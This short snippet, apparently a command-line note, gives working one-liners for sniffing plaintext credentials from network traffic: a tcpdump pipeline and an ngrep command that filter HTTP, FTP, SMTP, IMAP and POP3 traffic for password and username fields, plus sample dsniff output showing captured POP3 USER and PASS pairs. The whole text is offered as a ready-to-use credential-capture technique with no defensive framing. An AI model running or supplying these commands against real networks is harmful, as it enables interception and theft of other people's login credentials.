tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20`

dsniff: listening on any [tcp port pop3]
-----------------
11/18/10 10:41:01 tcp xxx.48323 -> remote.host.110 (pop3)
USER user1
PASS pass-for-user1

-----------------
11/18/10 10:41:28 tcp xxx.48321 -> other.host.110 (pop3)
USER user2
PASS pass-for-user2

ngrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' port http or port ftp or port smtp or port imap or port pop3